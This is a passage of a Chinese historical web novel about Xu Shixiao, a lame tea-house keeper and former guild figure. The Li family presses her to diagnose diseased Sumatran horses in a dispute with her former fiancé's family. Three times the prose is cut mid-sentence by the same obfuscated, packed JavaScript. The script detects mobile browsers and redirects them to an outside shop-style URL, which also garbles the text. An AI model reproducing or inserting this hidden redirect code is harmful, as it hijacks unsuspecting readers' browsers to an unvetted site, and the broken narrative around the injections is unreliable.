《闽海世家》 1. 八闽商会 她被人抬着，穿过雨幕。 圭海堂的檐下雨气茫茫，担架一落地，地上就溅起细密的水雾，湿透了她一身。 她躺在担架上，侧头，就看见地上另一副担架，上面覆着白单，单子洇湿，贴出人形的轮廓。 堂上有人说话： “老五，你派去安平港的人就在这里，你还有什么话可说？！” 许师孝死死盯着那副担架，两日未进水，嘴唇干涩。 “把衣衫掀开。”她开口，嗓子像钝刀刮过，“脸烧毁了，可身上的疤不会骗人。” 许家的部曲闻声上前，“哗”的一声掀开白单。 那“死人”猛地坐起，朝她扑来—— 许师孝霍然睁眼。 竹椅还在摇，一下又一下。 廊外日光明亮，把眼皮刺得发胀。 心跳擂在耳畔，咚、咚、咚。 一个声音从身后响起：“掌柜的，陈老来了。” · 午后，东南风紧，云气尚晻霭。 许师孝小憩醒来，撑起身靠上竹椅，将左腿屈起搭上杌子。 这条腿阴雨天便疼，今日终于好些。 她深吸一口气，忽记起，昨儿才送了个潮剧班子给陈老，今日他踱来，难不成是专程来道谢？ 坐到万安栈二楼廊下，老人家呷了口凉茶，果又念叨起来：“六堂，虽说是整寿，你这礼也送得忒重了。” 许师孝勉强平复了情绪，语气随性：“放在我这儿，也是白搁着。您那边场面大，养得起，他们也有口饱饭吃。” 陈老目光微怔，这话也不错，锦春班虽是数一数二的潮剧牌子，但这些年听戏的人越来越少，许六堂又少了堂口一笔收入，还要养这么一大群人，纵有老本，也折腾不起。 他叹了一口气，笑着看向她：“那老朽就恭敬不如从命了。” 随从走上来，置了茶点。 廊外日头还旺着，晒得木板地泛白光。 许师孝舒了一口气，心下莫名惴惴。 陈老则歪在竹椅上吃茶。 他遥望山色空濛，云气蓬蓬然，很是熨帖。 惠安这个地方选得好啊。 地处泉州以东，有山有水，还全然避开了后渚、安平、深沪、崇武、蚶江、永宁、围头这些大港口，不至于太荒僻，也不至于太嘈杂。 他时有感叹，许六堂在“颐养天年”这件事上，做得比他这个正经的老人还好。 可陈老也有时恍惚，她真就甘心瘸着腿，守着这间茶栈，过完后半生？ 许师孝不知他所想，还忆着方才那个梦境。 茶吃了一半，雨就下来了。 她听到声响，抬眼看去，疏疏几滴，转眼就连成了片，天地都织在了白蒙蒙里。 雨来得急，街上人影已乱，都朝万安栈这边涌来。 喊声由远及近。 “快，快收伞，水！伙计，搭把手！” “掌柜的，有烧茶无？今仔日真是衰咯！” 生意有了起色，许师孝却没心思招呼客人，还和陈老坐在廊下。 本想着难得叙旧，也难得有个人能和她说说过去的事，怎奈楼板隔音不好，楼下的对话分毫不差地传了上来。 客人道：“伙计，恁家瘸子掌柜，敢是这个时辰未起啊？” “我们头家啊……” 伙计叹了口气，“心气不行，盘落这间老栈，一日过一日，混混咧。” 许师孝：“……” 陈老侧脸看了她一眼，眼底漾开一丝微澜——六堂如今的性子与从前，真是大不相同了。 看来遭逢大难，总能修养身心。 “混日子也是有福气的咯，”楼下人揶揄道，“哪像我们跑船，风里浪里，赚的都是辛苦钱。” 伙计笑了：“陈老板今仔日无出港？” “出港……汝还唔知？港封啦！从后渚到蚶江，几个海口尽给官兵拦了，我那船货，还在驳岸上淋雨咧！” 许师孝静静听着，与陈老对视一眼，都从彼此眼中看出了惊诧。 封港？！ 就在此时，栈外风雨声骤然一沉。 马蹄声鞺鞺鞳鞳，沉响可辨。 街上行人本都缩着脖子疾走，这时却都放慢了脚步，侧身，目光投向长街那头。 两人也不约而同地转眼，目光越过雨雾。 雾水，被两盏明角风灯的光晕荡开。 一辆乌篷马车，由两匹高大的马拉着，转过长街那头，从漫天风雨中疾驰而来。 车前插一杆旗。 湿重的旗面偶被风展开，露出一个浓黑的“李”字。 “李”？ 泉州地界上，有几个“李”？ 路人倒吸一口凉气，慌忙退到远处屋檐下，生怕挡了道。 有人嗫嚅道：“李家人怎么到惠安这儿来了？” 无人应他。 雨声浩大，马蹄嘚嘚，不轻不重，敲在每个人的耳鼓上。 陈宗朴不知何时已坐直了身子，手里的蒲扇停了。 他侧目，看了许师孝一眼。 许师孝却只望着那两盏渐行渐近的风灯，脸上没什么表情。 李家。 泉州李氏，累世海商，富甲闽南。 本代家主李自用，建起了规模空前的海上船队，与琉球往来密切，不仅掌控着数条黄金水道，还与福建的海防、市舶过从甚密，关系盘根错节。 嘈杂的议论声中，马车缓缓在万安栈门前停下。 底楼正喝茶的众人都怔住了。 李家的人，怎会来万安栈这种鱼龙混杂的脚店？ 许师孝抿了一口茶，垂眸。 车夫利落地跳下车辕，取下垫脚的木凳，放在积水中。 从车上下来的，是一位五十出头的老者。 他颧骨微高，一袭深青色直裰，花白长须垂在胸前，一双眼睛不大，却异常清亮。 此人出来，也能感觉到底楼的闹声随之一静。 似是有人认出来了，嘀咕一声：“这像是李二老爷身边的人，常在港口茶寮现身，每回露面，就有老船头、‘揽头’过来敬茶。” 老者一跨过门槛，许师孝也看不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240813|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，只凝神，听一道苍老的声音在底下响起： “许掌柜在否？” 声音落下，堂间似乎更静了。 伙计诧异的声音随后响起：“许掌柜？我们这儿没有什么许掌柜……” 李家老者那头便没了声音。 许师孝缓缓坐起身。这么问，自然问不出来——她在万安栈留的不是真名。 与陈宗朴对视一眼，她撑着竹拐起身，朝里间走去。 楼下，李家老者正犯难，角落里忽站起一人。 “谁说没有？” 接话是个躲雨的商号掌柜，抹了把脸，自信地看向那老者，拱手一礼，“鄙人许锡南，‘永利号’的二柜。” 李家老者默然看他一眼，目光深下去。 是啊，泉州生意人何其之多。 身形、年龄，这些问法都太过模糊，即便是相貌，这六年下来，也足以大变！ 他捋了捋花白的胡须，静了一息。 “你们这里……”沉吟片刻，终是换了问法，“有没有一个瘸子？” 瘸、瘸子…… 众人一惊。 伙计也骤然一怔，目光下意识转向周围的熟客，心里却已隐隐有了答案。 “是……是有一个。” 他语气怔怔的，无数念头如疾风暴雨般，掠过心头。 正待转身上梯，却听得楼梯口传来一声响动。 自家掌柜不知何时已立在楼梯拐角处，换了一身苍青衣袍，右腋下架着竹拐，整个人像是刚从幽深的大海里浮出来。 她眉目疏朗，抬眼望向老者。 短暂的对视过后，未有寒暄。 “淙老，出去说吧。” · 无事不登三宝殿。 许师孝虽不是玉帝，但也是个闲神。 自打一条腿瘸了之后，早推了各方应酬。 她被几个人搀上了竹木轮椅，缓缓推出门去，“淙老这次来，是为的什么事？” 淙老道：“是我家三爷要见您。” 三爷…… 李家三子，李廷勘。 许师孝蹙眉。 淙老是李二叔身边的人，来找她，她自然以为是李二叔的意思。 许师孝早年在海外做生意的时候，李二叔对她多有照拂，如果是他的忙，许师孝无论如何也会帮。 但没料到，今天要碰面的是那个人。 “我跟李三爷，似乎没有什么交情。” 淙老笑了笑，“您说笑了，‘八闽商会、三柱六堂’，大家同在一片海里，本该互相照应。” 许师孝沉默听着，转头看向雨幕。 罢了，来都来了，去就去吧。 外间的雨更急，更冷。 上了马车，许师孝便觉从膝盖旧伤处传来的疼痛感，骤然尖锐，像一根冰冷的铁钉，要将她牢牢钉在这张竹椅上。 她脸色微白，转头看向外间烟雨，行人已纷纷退到两边，声音伴着气喘，“这是要去哪儿？” “港口。”淙老关切地看过来，为她倒了一盏茶，“三爷在港口等您。” 2. 苏门答腊的马 雨，下得海上一阵发闷。 许师孝被人推往栈桥边去，只见港里已乱得不成样子——海防道的兵丁封了各处隘口，大小商船都聚在湾内，桅杆森森如碑林。 远处还有人对骂，闽南话与官话起起落落，听得她有些烦躁。 许师孝坐在遮雨的棚子下，扇着蒲扇，“李三爷人呢？” “三爷此刻大抵正与海防道的人说话，应快来了。”淙老安抚道。 许师孝微微点头，忽又想起：“记得李三爷的船队，一贯在西洋做生意，怎的今年没出海，这个时候还在泉州？” “原是要走的，”淙老解释道，“但再有一月，新任福建总兵就到任了，老爷吩咐他今年守在厝内，四面也好照看。” 许师孝摇着蒲扇，点了点头。 李家二叔李自敬长年在外洋，李家大少爷今年刚中进士，上京去了。 眼下泉州要留个主事的，也只能是那位李三爷。 等了许久，暑热未退。 许师孝合上眼小憩。 雾气落人衣襟上，便凝成细密的汗。 须臾，雨势飞斜，脸上清凉一片。 她秀眉微蹙，抬眼时，就瞧见雨里移来一团清冽的灯笼光。 前有两个青衣侍从提着灯，后头打着伞，拥着一众部曲。 而走在正中伞下那人，身份不言自明。 李廷勘走到棚下，两边的伞撤下，那身姿便全然显了出来。 他约莫三十上下，生得一副南人少见的骨架，挺拔如松，鼻梁高挺，眉骨略高，眼神望来，就像烟雨中的灯火，难辨深浅。 “久等。” 他提袍落座，坐在了她对面。 两人之间隔了一张粗木桌，桌案淋了雨水，倒映出彼此模糊的影。 许师孝依旧摇着蒲扇，没看他，“三爷找我，所为何事？” 他兀自斟茶：“淙叔说，放眼八闽商会上下，在苏门答腊做过生意的，只有三个人。” “一个是你家老爷子，当下不方便惊动，另一个是我二叔，可他人在暹罗。” “剩下，就是你了。” 听到是南洋的生意，许师孝有些诧异，试探着看向他，“三爷早年就在西洋做生意，如今转道苏门答腊，也不成难事吧？” “不是我的生意。” 他道，“去年，福州黄家从苏门答腊买了七十二匹种马。” “这批马，本是要送给福州都指挥使，用作改良两广卫所马种。” “单子签订后，李家做了保人，疏通海运与各海关，若海运途中马匹伤病、死逾三成，则李家担下全部损失。” 许师孝漫不经心听着，只拿起茶盏喝了口，“这单子是谁保的？” 李廷勘扫过她的眼，并不接话。 许师孝已猜了个大概，放下盏，淡淡道：“如果是李二叔的事，我倒还可以帮一帮，其他人，就算了吧。” 说完，手扶上轮椅，转身欲走。 轮子刚转了半寸，就被一股劲道截住。 许师孝的手也顿在了原处。 她转过脸，湿热的汗顺着下颌滑落，目光掠过了按轮椅的那只手，直望向对面的李廷勘。 “李三爷，”她眼尾微抬，声音更静，却也更冷，“这是何意？” 李廷勘没答话，只挥了下手。 按轮椅的部曲便松了劲，后退半步，可围拢过来的人群却没散。 许师孝环顾四周，又看向他。 手随即搭向一侧，将轮椅往后挪了半尺，与桌案拉开一寸距——也与他拉开距离。 李廷勘冷眼看着她的动作，便回想起多年前，她刚残废那会儿，性子极其暴虐，抬手一刀，就砍在他左肩上。 当初是暴戾，今时今日是冷淡如斯。 他心下冷嘲，也没意识到自己在翻旧账：“如果你觉得，李家欠你一条腿，那就拿出真凭实据。无端揣测，只会让你自己更难堪。” 此言一出，许师孝身形一滞。 四面的风，仿佛一下子停住了。 淙老听到这里，已经是心惊肉跳。 忙上前一步，挡在两人中间，脸上堆着笑：“三爷，许六堂，都消消气。雨大天闷，话赶话的，容易上火。三爷也是为着大事，六堂莫往心里去……” 许师孝极怒反笑，目光直刺向李廷勘：“你求人办事，就是这个态度？！” “对你这种人，要什么态度。”李廷勘已重新撑开了伞，侧过脸，灯影中，神情愈显冷淡。 说完，不再看她，径直吩咐侍从：“给客人换身衣裳，备船，一道去见黄家人。” 命令一下，几个部曲围了上来。 许师孝坐在轮椅上，本就不便移动，这会儿更被堵在棚内一角。 她神情冷肃，眼见其中一人伸手过来： “放肆！” 她深吸一口气，目光直望向李廷勘远去的背影，说给他听： “我许某人再不济，在八闽商会还留着一把交椅！今天你们谁的手碰到这椅子，就是打许家的脸，打商会的脸——我倒要看看，谁有这个胆子！” 话音落，周遭众人一时僵住。 许师孝离开商会太久，如今又成了瘸子，他们或许不惧怕她本人，却不能不顾忌她身后的漳州许氏。 四下气氛微滞，只有雨声哗然。 李廷勘听到许师孝这句话，已反身快步走了过来。 他面无表情，眼底眸色更深。 许师孝见他回头，沉了口气，靠向椅背，心想，无论他接下来说什么，她都不会接茬。 李廷勘倒没说什么，只停在她身前，居高临下地望着她。 她仰着头，潮湿的鬓发已贴在了颊边，眼底有压抑的怒火，也有勉力维持的倨傲。 他沉默片刻，忽弯下腰。 许师孝面色微变，抓紧了轮椅扶手，“你——” 众目睽睽下，李廷勘俯身，一手穿过她膝后，另一手揽住她肩背，竟将她从轮椅中打横抱了起来，动作干脆，带着不容置喙的强势。 许师孝僵住，周身血液仿佛逆流。 惊怒让她一时失语，只狠狠地瞪着他近在咫尺的下颌。 一件披风随即兜头罩下，眼前骤然暗去，潮气被隔在外，也掩去了她煞白的脸，披风上木香极淡，清冽无比，却让她胃里一阵翻涌。 “轮椅带上。”李廷勘的声音低了半分，他抱着她，转身走入滂沱雨幕。 青衣侍从立刻举高了灯笼和伞。 淙老叹了口气，指挥众人抬起轮椅。 一行人穿过混乱的码头，直朝李家座船走去。 · 大雨倾盆。 船楼檐下一方天地，窄而深，勉强容下一张矮几、两把藤椅。 许师孝被安置在里面那张藤椅上。 李廷勘在她对面坐下，两人中间就隔了一张低矮的柚木茶海。 谁也没说话。 沉默在雨声里发酵，比方才的冲突更令人难熬。 只有淙老不安地挪动了一下脚步，看看这个，又看看那个。 李廷勘手下移过茶海，目光却落在她身上，刚换上的青袍并不合身，因为她瘦了，衣襟松垮，露出一段脖颈，肩线顺着锁骨走下，隐入更深的衣料下。 他提起壶，不疾不徐地斟了两盏茶。 “茶在几上，喝不喝随你。” 岩茶独有的焙火混有兰花香，在狭小的天地间弥漫开。 许师孝兀自坐着，没搭理他。 李廷勘也不再说话，只静静地靠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240814|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边。 雨声如瀑，击打着头顶的船板。 沉默中，脚步声起。 她侧过脸，见一名侍从快步进来，走到李廷勘身侧，俯身在他耳边低语了几句。 说完，就从怀中取出一个物件，双手奉上。 那是一个琉璃瓶。 瓶身剔透，不过一掌高。 里头盛着半瓶浑浊的浅褐色液体，一团黑影蜷在底部，凝滞不动。 李廷勘将瓶子朝她的方向一推，“认得么？” 许师孝的目光垂下。 那液体里沉着数条细如发丝、长约寸许的活物，通体是一种诡异而鲜艳的朱红色，像凝固的血丝，并不蠕动，蜷曲成团。 她抬眼：“苏门答腊穆西河流域，雨季沼泽里才有的钩口线虫。活体嗜血，死后浸于棕榈油，可入药，你从何处得来？” 李廷勘没答，只侧过头，与立在阴影里的淙老对视一眼。 两道目光，意味深长。 许师孝似乎明白了什么，这虫子，应当与苏门答腊的种马生意有关。 淙老并不想瞒她：“与黄家的这桩生意，原是好事，黄家与我们商议开辟军马贸易线。” “谁料，承运的七十二匹苏门答腊种马，抵港后就得了疫病。” “海防馆下令，要将所有病马驱赶到荒地，斩杀焚烧。七十二匹马，购马、海运、保金，前前后后加起来，近十五万两。” 十五万两。 饶是许师孝有所准备，听到这个数字，心头仍有余震。 十五万两，足够泉州一个首屈一指的大商号赔得倾家荡产。 淙老扫了一眼她的神色，接着道：“李家做了保人，照协定，海运途中马匹伤病、死逾三成，担全责。” 许师孝目光微变，“所以，倘若证明这批马是在苏门答腊染病，而非承运时照料不周，那么，李家就无须赔偿，这十五万两，都会落在黄家人头上。” 淙老点头。 许师孝眉尖微蹙，随即展开，只道：“……恕我直言，此事，我不能插手。” 淙老似没料到她是如此反应，怔了怔，上前一步：“六堂，这是为何？证物俱全，而如今泉州上下，能辨南洋疫病根由的，只有你……” “正因为能辨，才不能辨。”许师孝打断了他，目光郑重，“黄家与我家是世交，情谊非比寻常。此事牵涉他家利害，我若介入，无论结果如何，都不稳妥。” 话语落，一直静默的李廷勘似是笑了。 笑声在雨里微不可闻，却让这窄小天地陡然一紧。 “世交情谊……”他目光抬起，如冷泉般淌过她的脸，“你到底是不想坏了黄家的事，还是不想坏了黄家某个人的事？” 许师孝沉默一瞬。 船楼外雨势更狂，风卷着水雾茫茫扑来，寒意腥潮。 她下意识拿起几上的茶盏，抬头时，又正对上他冰冷的目光。 两道目光交织，无声处，是暗流汹涌、寸步不让。 许师孝转过脸，李廷勘却没有避开，目光顺着她绷紧的下颌，掠过紧抿的唇，最终停在她饱满的下唇上。 旋即，他收回目光，什么也没说，竟就此拂袖起身。 淙老察觉气氛不对，忙跟了出去，上前半步，压低声音：“三爷，雨这么大，六堂身上旧伤又畏寒……您多少服个软，说两句暖和话。” 李廷勘脚步未停，只侧过脸，目光掠过身后的人。 “她现在当哑巴，没关系。” 他转头，目光定定，“我就不信，她见了黄祐常，还能当哑巴。” 舱帘落下，隔断了外间风雨。 许师孝沉默不语，眼睛却微微眯起。 黄祐常。 黄家来的人，真的是他…… 3. 南安 黄家在南安这处会馆，是祖上置办的产业。 三进院子，用的尽是闽地常见的青石红砖，经年雨水在墙上蚀出了青苔，幽深得就像岁月本身。 此刻，大堂里刚散去一场议事。 雨天的潮气里，还浮着武夷茶的余韵。 黄祐常端起冷茶，抿了一口。 苦得很，也清醒得很。 “少东家，人……没请到。”长随停在门槛外，低着头，语气有些哆嗦。 “不应该啊……”坐在下首的老管事黄道贤皱起了眉头，他一贯谋定后动，此番既然派人去请，便有把握一定能成事。 他打眼扫向长随，难道是他没把话说明白？ 黄祐常则沉默了略许，面上微冷：“世事变幻，又遭逢大难，人一时间转了性子，也是有的……” “此言差矣。”黄道贤打断了他，目光炯炯，“依六堂的性子，眼见我们遇上了关口，决不会坐视不理。虽说先年退婚，黄家是有对不住她……” 黄家对不住她？ 黄祐常侧目看了他一眼，心下冷笑。 这婚事打他十五岁那年定下，便被许家一拖再拖，一直拖到他及冠，也未肯履约。 区区一介商户，靠着做点海上生意，便不知自己几斤几两，待价而沽。 索性老天有眼，许师孝成了残废，还被他们拖成了老姑娘，这往后，难道还嫁得出去？ 他淡淡一笑：“人心隔肚皮。六年不曾见面，她也已经离开了商会，与黄家没有银钱往来。不做买卖，何必要讲信义？” 黄道贤沉着脸，想要反驳。 但想到老东家病重，过不了太久，少东家就要接管黄家在泉州的生意。 彼时，新旧更替，必有一场厮杀。 他身为前人的心腹，也未必能在这次改朝换代中留存实力。 黄祐常已转眼看向了那长随，目光渐冷，“到万安栈后，都听她说了什么？” 长随一愣，瞧见他凌厉的目光，只敢低头回话：“小的……没见到人。” 没见到？ 黄道贤眉头紧锁：“六堂自盘下万安栈后，一直深居简出，况且她腿有残疾，不能远行。你就没问过万安栈附近的人？” “小的……小的问过了。” 长随的头低得更低，自知许六堂如今的去向，实在不尽人意，说出来，十有八九要惹恼东家。 “那就快说啊……” 黄道贤神色愈急，眼下南洋这桩生意有没有转圜的余地，就全系在这上头了。 长随硬着头皮回话：“今日晌午后，李家人亲自登门，请那位往港口去了。” 李家？！ 泉州李家…… 黄道贤缓缓靠上椅背，面色也暗了下来。 千算万算，没算到李家会先一步出手。 黄祐常却是冷笑：“李家这些年与许家交割船引，把丝绸运到了马尼拉，一趟返程的白银，两万两都打不住。两家既穿了一条裤子，许师孝自然要帮着他们。” 黄道贤侧目看了他一眼，知道少东家说的是气话。 气的，也无非是许老爷子的反复无常。 马尼拉的运线，没有照顾世交多年的黄家，而拉了李家一道。 如何不算是“亲痛仇快”？ 雨声淅沥。 会馆堂下愈发沉寂。 须臾，听回廊那头，又响起脚步声。 侍从的衣摆下摆溅满了泥点，疾步而来。 “东家，”他气息微促，“李家的车到了码头，四辆油壁车，跟着几十个骑马的扈从。李三爷……已经下船了。” 黄道贤目光微变，终究没说什么，只深深看了少东家一眼。 黄祐常停在门槛边，伸出手去。 冰凉的雨丝落在掌心，很快积起了一洼，他低下眉，那眉眼生得温润，像福州三月的江水，可此时眼底沉沉，映不出半点光。 “把灯点上吧。”他忽然开口。 一旁的长随怔了怔：“东家……还没入夜。” “点上。”年轻人走回主座，重新坐下，“雨天的黄昏，总是黑得早。早点灯，也好让人看得清楚——” 他停顿了一下，目光扫过空荡的大堂，望向门外茫茫雨幕。 “看清楚，路还长。” · 潮水声渐渐静了下去。 许师孝觉出船身轻轻一磕，就知道是抵了岸。 从惠安到南安这段路很长，船行至此，天与海，已模糊成了一片铅灰色。 这不是她头一回来南安会馆。十四岁那年，船泊在南澳，她便在此住过些时日。 与黄祐常的婚约，就是那年定下的。 父母之命，媒妁之言。 本以为过不了多久就会出嫁，不料这个“未婚妻”，一当就是五年。 五年里，她与黄家来往甚密，黄家的叔叔婶婶她都认了大半，虽未成婚，许师孝却已经把自己视作黄祐常的妻子、黄家的儿媳。 谁能料到，后来变故那么多，一切都无疾而终了。 “你在想什么？” 低沉的声音从几步外传来，雨声似静了一瞬。 许师孝肩头微滞，转过脸，才见几步之外，李廷勘站在伞盖下，正望着她。 他那双眼很深，像天黑后的海。 许师孝大致能猜到他想说什么，无非是借着当年退婚之辱，怂恿她对人家落井下石。 但她对这种反复的拉锯着实没有什么耐心，也懒得应。 下跳板后，只握住轮圈往前摇。 一步。 两步。 咫尺之间，许师孝甚至闻见他身上淡淡的冷香——一种与他眼神同样莫测的气味。 擦肩的刹那，李廷勘的手蓦地从旁伸了过来，按在轮椅的扶手上，截住了她的去势。 许师孝深吸一口气，强忍烦躁，抬目瞪向他： “你到底想做什么？” 他对上她的眼眸，开了口：“八闽商会，三柱六堂，第一条规矩，没忘吧？” 许师孝没料到下船后的第一句话竟是这个，不由一怔。 李廷勘却似乎穿透了那层疑惑，看到她未出口的心思：“你离开这么久了，我只是提醒你一句。” 八闽商会，三柱六堂。 第一条规矩，就是不能拆自家人的台。 淙老的目光在两人之间流转，暗自叹气。 · 大雨滂沱，海天尽黑。 黄家此番请神，请得仓促。 几日前，众人聚在会馆盘算后，一致认为今年流年不利。 老家主病重不起，南洋的生意又几遭风波，眼下要求个安康太平，必得敬告神明。 风从海上来，推起了一片潮声，汹涌过岸边两排石堤。 堤上人头黑压压一片，数目已然过百，却无一声喧哗。 船工、灶户、各号掌柜，默然立着，任由咸湿的风拍打衣衫，都望向祠堂前那尊巨鼎，鼎中香木已堆得如小山一般。 这次立在祠堂阶上主持大局的，已经是少东家黄祐常了。 黄祐常换上一身绯袍，面朝海湾方向，背靠正殿行礼。 礼成之后，就在海风里静立不动，身后，本府几位老掌柜垂手侍立，鸦雀无声。 不知过了多久。 海天交接处，一线惨白的光，终被浓墨吞尽。 阶下，黄道贤收到了消息，迟疑片刻，趋步近前： “东家，提举司刚传了话，张同知带人斩烧马匹之前，看管马场的人说，少了一匹。您看——”侧脸望向他，“会不会是李家所为？” 黄祐常面色未变，倏地望向殿内海神像前立的一片长明灯。 “李家……” 他念着这两个字，语气愈沉，似是忌惮，又像是觊觎。 在泉州做海上生意，谁能绕得开泉州李家？ 这个坐拥泉州七大港的庞然大物，每年捐输朝廷的银子不下百万。 但树大招风，他们还不至于为了那十五万两，给自己留一个这么大的隐患。 “谅他们还没那么大的胆子。” 他随即整了整衣袖，缓步往阶下走，“为了防疫，海防道把几十处港口都封了，敢在海防同知眼皮子底下藏匿疫马，被捅出来就是大罪，况且，放着疫马在山场，闹出瘟疫来，岂不是自毁长城……” 黄道贤点了点头。 那是南洋的疫病，真闹起来，泉州的大夫是手足无措，即便李家要扳回一城，也不至于拿人命来拼。 事情，还没有糟到那一步。 但这些年，闽北河运越发艰难，黄家把生意重心南移，就连少东家都亲自坐镇南安。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240815|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黄道贤也心知肚明，他们与泉州李家之间，迟早会有一场恶战。 即便不是这次，也会有下次！ · 雨落在堤上。 侍从高高打着伞，黄祐常与黄道贤一前一后，走在石堤上。 脚下是海潮的呜咽，头顶是苍穹的淋漓。 到了岸前，见远处那道拱桥已模糊在雨烟中。 两人渐渐走近，才看清桥头人影。 天气潮热，李廷勘束着袖，立在桥头正中，身后是李家的一众部曲，皆默然肃立，手中伞盖如一片移动的青云。 青云之下，便有一人端坐于轮椅中。 膝上覆着薄毯，面容在灯光里格外清晰——正是许师孝。 黄道贤与黄祐常对视一眼，得到少东家的默许，他便快步走了过去。 到桥上，先朝李廷勘拱手：“李三爷，别来无恙。” 李廷勘回礼：“黄叔客气了。” 黄道贤笑了笑，目光随即落到伞下。 他笑容更深，话语里却透着嗔怪：“六堂这些年就在泉州，怎的也不来走走？叫我们惦记得紧。前月老太爷精神稍好些，看底下人画的新船图样，还念叨，说六堂最懂这些，可惜总见不着人。” 许师孝目光静了静。 这些年，不是不愿走动，只是自己这般模样，到了人前，反叫人说话处处留心，彼此都累。 “黄叔说笑了。我这腿脚，动一动便兴师动众的，自己又懒，实在怕添麻烦。但心里头，是时时记着黄爷爷同您老的……” 话音落，她便觉有道目光落在她身上，转头，才见李廷勘别有深意地看了她一眼。 他道：“南安这里，说远不远，可来回也要几个时辰。我们李家那茶栈，就开在她斜对过，这么多年，也没见她移步过去喝盏新茶，黄叔就多体谅吧。” “三爷说笑了，您家的茶是最好的，‘老枞水仙’‘大叶佛手’都一两难求，要不然，六堂怎么会把茶栈开在泉州呢……”黄道贤笑了笑，目光看向许师孝。 她不置可否，茶栈的事本不足道，眼下要紧的还是黄家的事，黄老太爷病重，黄祐常初掌家业，只怕处处都是麻烦。 她既来了，就不能袖手：“久未至此，您若不嫌，我倒想在这儿住上几日。” 黄道贤旋即拱手，目光炯炯，“六堂能来，我们这老地方，也是蓬荜生辉了。” 许师孝听出他语气的沧桑，心下触动，正要说什么，却听一侧李廷勘忽又开口：“眼下是夏秋之交，时气不好，她的病也忌讳这个，倘若挪了地方，怕要出岔子。” 许师孝闻言一怔，看向对面的黄叔。 黄道贤垂下眼眸，他对许师孝的腿疾知之不多，也不知受时气变化，病症如何，经李三爷这么一提醒，才觉安排不妥。 许师孝将他的神色尽收眼底，宽慰道：“我这病已经不碍事了，况且，养生之道，也不是非得固守一处。” 话音落，李廷勘的眉梢微微动了一下。 黄道贤则深望着许师孝。 六堂如今气色确比往年好些，只是数年将养下来，人终归少了些活泛气。 她为人重义，若为着黄家这些琐碎事，反把自家身子拖累了，岂不是他们的罪过？ 他暗里轻叹，接过话头： “六堂的身子骨大好，自然是好事。只是会馆离海太近，夜里潮气重，终究不宜将息。万一病气反复，教我们这些老骨头心里怎过得去？” 说到此处，他忽然想起什么，抬手往雨雾里虚虚一指：“倒是南安城中客来居东边不远，有个‘春煦园’，是早年几家相与盘下的，专为招待贵客、怡情养性。” “那院墙高，避风，六堂若不嫌简陋，不如就挪过去？” 许师孝蹙眉，她提出在这边久住，也不是为了修身养性。 李廷勘已朝黄道贤略一拱手：“黄叔考虑周详。那往后便有劳费心了。” 黄道贤笑容更深，道：“应当的。”又转向许师孝，语气更为和煦：“六堂稍待，一会儿我便差人去收拾。” 许师孝目光复杂，但想黄叔体恤她的病，作此安排，她也不好拂了这份心意。 几人一同下了拱桥。 风停了，绵密的雨，笼着会馆中的山水林木。 侍从们高擎伞盖，簇拥着几人，沿石子路向深处走去。 4. 六堂 许师孝由人推着，行至水榭，廊下的灯笼依次亮起，一片昏光，将连绵的雨照得发烫。 她望着雨，忽听见脚步声，抬手示意停下。 轮椅静止在了栏杆旁。 夜雾那头，一众人影正错开冷光，乌泱泱走近来。 许师孝隔着雾与光望过去。 走在最前头的，是黄祐常。 他刻意晚来，就是为了更衣，此刻换下了祭祀时的绯袍，一袭月白锦袍，立在烟雨疏影里，愈显孤高，也是当初许师孝最喜欢的打扮。 许师孝看着他走近。 他走路的姿态和几年前不同了——那时他跟在黄老爷子身后，眉目间还带着青涩，落步轻，起脚快，身体微微前倾，像随时要赶到前面去。 如今步伐均匀，落得稳，肩和背连成一道挺直的线，像换上了一副冷硬的轮廓。 他变得真多。 许师孝沉默地看着，无端想起两人从前的一些争执。 那年，黄祐常出海回来，她在漳州为他办了一场接风宴。 宴罢已是深夜。 她站在廊下送客。 客人散去，她正要转身，听见回廊那头有人在说话。 “许家这位小姐，真是周全人。”是黄祐常的声音，“三天的宴，菜色日日不重样，连闽江新到的鲥鱼都匀了两尾过来。我在福州也接风，没这样精细的。” 旁边有人赔笑：“少东家，许小姐亲自操持，可见看重。” “看重。” 他轻轻笑了一声：“她看重的，是黄家这条船线罢了。商贾人家，凡事都要算进账里，接风宴也是生意。” “其实不必这样费心的。你敬人三分，人敬你三分，都是银钱能衡量的东西，何必做成情深义重的样子。” 廊下的灯笼还在晃。 许师孝站在那里，听了全程。 那年她年纪小，为这一夜的话，好几晚没睡，耿耿于怀。 如今想来，又觉得没什么。 黄家与许家不同，黄家祖上是读书人。 闽县黄氏，八世十八进士。 直到嘉靖年后，族中才有嫡系子弟转去从商。 